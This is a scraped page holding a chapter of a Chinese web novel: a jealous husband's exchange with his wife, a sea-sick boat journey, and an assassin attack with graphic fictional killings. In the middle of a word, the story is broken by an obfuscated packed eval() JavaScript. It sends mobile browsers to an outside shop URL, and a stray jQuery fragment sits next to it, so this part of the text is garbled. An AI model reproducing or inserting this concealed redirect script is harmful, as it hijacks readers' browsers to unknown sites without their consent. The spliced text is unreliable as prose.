文趣网 > 其他小说 > 莺娘闺事 > 33. 醋意
    天底下没有不散的宴席。

    辞别之后,马车继续往前。

    程时莺忍不住掀起一角车帘,远远的望了一眼离去的陆家兄妹。陆少铃坐在马车上她看不到,她倒是注意到了陆少鸣随风飞扬的蓝色发带,以及慢慢变得遥远而模糊的皇城。

    “唉。”收回目光,她轻轻叹了口气。

    “轻轻,反悔了么?”孟连庭忽然没头没脑的问了一句。他眉目冷清,难得的没有一丝笑意。

    这句话他问了好几遍,程时莺耳朵都要磨起了茧子。都嫁给他了,还能怎么反悔?要是反悔,她何必同他去平梧州?为何如此多疑?她蹙眉,“你再问下去,我可就反悔了。”

    他话锋一转,问道,“轻轻,你和陆少鸣是旧识?”

    “旧识?”程时莺呢喃重复,而后止不住笑了起来,“根本不算。要不是少玲,我压根不认识什么陆少鸣。是了,你可不知,当初陆少鸣带人把我捉到了大理寺,还关了我好几个时辰。”

    “这仇我可记着,后来寻了个机会调.......调笑了他一番!”想起茶楼那次,陆少鸣被她戏耍的耳尖泛红,程时莺越想越畅快。

    孟连庭看着她有些得意的笑容,脸色越发阴沉。陆少鸣先他一步到了程时莺身边,又和程时莺有了他所不知晓的共同经历,这么一想他心底就不自觉的起了妒火。他指尖情不自禁蜷缩,继续追问道,“轻轻觉得和他不熟,那他怎会知晓轻轻喜欢牡丹?”

    程时莺大手一挥,漫不经心道,“这有什么稀奇?满皇城都知道我喜欢牡丹。”

    “.........”

    “你怎么这么好奇陆少鸣?”程时莺转念一想,陆少鸣乃人中龙凤,年纪轻轻就得圣宠,孟连庭有心结识也情有可原。于是她道,“陆少鸣此人冷面无情,你若要结识,我可以同少玲说一说你的好话。陆少鸣他一向最在意少玲这个妹妹了........”

    “轻轻。”他沉声打断,脸色很是难看,“你还不知么?我在意的是.......”

    程时莺等了半晌他的下文,他却垂眸不语了。程时莺更是摸不着头脑,盯着他紧绷的侧脸,以及起了薄红的耳尖,忽然福至心灵道,“你是不是.......担心我和陆少鸣曾两心相悦?”

    他还没回答,程时莺噗嗤一笑,笑道,“原来你心眼这么小,是个醋缸子呀。”

    “.......”孟连庭耳朵更红了。他看了看笑得明媚的程时莺,忽然俯身过来,一把捏住了程时莺的下巴,哑声道,“是。在下不但心眼小,还是个醋缸子。”

    他的气息萦绕在鼻尖不散,程时莺心头一跳,忙伸出指头抵住了他要贴近的唇,有些羞涩的偏过了头去。

    攻守霎时间反转,孟连庭肆无忌惮的盯着她看,语气中有一丝不易察觉的委屈,“方才你为何不同陆家兄妹介绍我?难不成我让轻轻你拿不出手么?还是说,你是故意不说,好叫别人觉得我们之间有隔阂,好让有心人有机可乘?”

    更可恶的是,那陆家兄妹也自动忽视他的存在。对他不闻不问,只当做没有这么个人。那陆少铃还故意借着陆少鸣寻来的玉牡丹恶心他。

    哼,什么陆少鸣特意寻的玉牡丹,要不是不想下了轻轻的面子,他能当场砸烂了。轻轻的过往他确实管不了,但往后轻轻的每一日都有他作陪,他身为轻轻的夫君,该管的事一件不会落下!

    “........我.......”程时莺确实忘了告诉陆家兄妹,身后这人是她新婚夫君。一方面是她新婚不久,还不习惯这层身份,另一方面是,她当时有些不好意思说出口,总觉得夫君这话说起来腻歪。

    “对不住。”她真心真意的道歉。

    “光用嘴赔罪算什么?”

    “那用什么........”

    程时莺话还没说完,就被他捏住下巴吻了上来。

    这不还是用嘴赔罪的么?程时莺又气又好笑。

    ........

    行至固城,再走上一日,程时莺他们就要转水路。水路再行约莫四五日,望见那座巍峨入云的青君山,便到了平梧州。

    行船走水路,可苦了旱鸭子程时莺。她从未坐过这么长时间的船,一路飘飘荡荡,起起伏伏,她撑不住的犯恶心,刚开始她吃什么吐什么,到后边吃不下也吐不出来,病恹恹的卧在床榻,日日头昏脑沉。

    孟连庭看她难受,一着急嘴上都燎起了水泡。他不分日夜的守在她床边,除了照顾吃喝,还给她念话本解闷。

    “果真是只莺儿,只能飞在空中,不能停在水上。”他给她擦擦额角的汗,目光担忧却打趣道。

    程时莺难受的人都有些呆滞了,没功夫搭理他。

    他擦完汗,继续给程时莺念话本。这会子程时莺顾不上什么窘迫不窘迫,任由他翻出来那些压箱底的话本。什么书生花魁一见倾心,什么冷面将军娇俏公主,什么真假东宫太子妃.......

    孟连庭目光落到最底下的两本,一本叫玉锁记,一本叫梦庭花。奇怪的是,这两本封面上头都被程时莺画了乌黑的花草,像是要掩盖掉原本的画面。

    他刚要翻开,程时莺却大喊一声,“这两本不可以!”她有些着急,骨碌一下翻身下床,强撑着要来夺。

    挣扎一番,她没夺过,人还软绵绵的被孟连庭拘在了怀里。

    孟连庭信手翻开,只瞧了一眼就掩上了。

    翻到的那一页上,两个赤条条的人儿交缠在一块。白花花的身躯刺得他眼神有些闪躲。

    “......咳咳。”

    “都让你不要打开了!”程时莺恨不得找个地洞钻进去,“这是我娘塞给我的.......不是我、我自己买的。”

    孟连庭看过来的目光发烫。程时莺忽然觉得屋里头空气有些稀薄,让她呼吸不顺畅。她慌忙退出他怀里,大叫着让荣儿扶她到外头吹吹风。

    孟连庭替她将两本书锁回箱底,不紧不慢的跟了上去。

    此时已是夜深,万籁俱寂,只余风声轻轻。荣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818531|209331||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    儿扶着程时莺到甲板,站了会儿便觉得风大,于是转身回屋去拿披风。

    孟连庭出来时,正好看到程时莺孤身一人立在船边,身姿纤细轻盈,衣角轻飘飘的扬起,仿若一缕即将消散的轻烟。

    心念一动,他上前一步将程时莺拥进怀里,隔空指了指远处在黑夜中若隐若现的大山,低声道,“那就是青君山。过了青君山,就是平梧州。”

    夜风凉凉,他的身体却很温暖。程时莺朝他怀里缩了缩,感受着他的温度。

    “我记着令楚曾说过,平梧州多山匪。匪患严重,为何不想法子除净了?实在不行,便上折子央陛下派军队来镇压,山匪再蛮横能蛮横过千军万马么?”

    望着她眼里的天真,孟连庭把人抱得更紧了。他道,“若是世间事事随人意,何苦长跪神佛前?轻轻,你会不会觉得我无能?”

    程时莺一愣,斟酌了下要开口,这时忽然传来荣儿的惊呼。

    程时莺急忙推开了孟连庭,拔腿就要循着动静找去。荣儿和她自小一块长大,虽是主仆,却也胜似姐妹,她不可能坐视不管。

    “轻轻。”孟连庭将人拉到身后,不动声色的护到她面前。

    他领着她朝传出动静的地方走去。

    荣儿面容惨白的破开房门往外逃,惊恐的大呼,“有刺客,杀人啦——快跑!”

    在她身后的窗纸上被烛光映照出两个身影。一个高大的男子提剑利落的砍掉了一女子的头颅,鲜血霎时间喷洒在窗纸,像点点落雪。

    男子破门而出,要一并除掉逃走的荣儿。荣儿并不知道男子跟在她后头,还急切的朝程时莺奔来,眸子中满是逃生的不可置信。

    “荣儿,小心后头!”程时莺大声道。

    眼看那剑要落到荣儿身上,孟连庭从程时莺头上取下一支珠钗,猛地朝那柄剑掷了过去。

    珠钗来势汹汹,刺客生怕手中剑断裂,急忙调转剑头,向孟连庭刺去。

    程时莺下意识伸手要去挡,孟连庭反应极快的将人带回自己怀中,侧身夺过一击,随后飞踢一脚狠狠踹在刺客的胸口。

    再抬眸看去,不知从哪里涌出一批黑衣人。原本寂静的船上不断传来惨叫,那些还在睡梦中的人悄无声息的死去,而醒着的人四窜而逃,甚至退无可退的跳进了水中。

    炼狱般,手无缚鸡之力的丫鬟仆从抱头鼠窜,嘴里凄惨的哭喊着。跑得慢的,血溅当场。程时莺的手无助的在袖中握紧,她怔怔看着一个又一个惨案在自己眼前发生。

    一支箭冷飕飕的袭来。

    程时莺满心满眼都是惨叫和虐杀,根本没有注意到飞来的冷箭。孟连庭被刺客缠着,手上没有趁手的武器,分不开心神,眼见冷箭即将刺到程时莺,他脑子还未反应过来,身体已经挡了过去。

    程时莺回过神来时,孟连庭的左肩已经被划破一道狰狞的口子。

    “生擒孟连庭!”有人大呼。

    紧接着,那伙黑衣人不再管逃跑的丫鬟仆从,从四面八方包围了过来。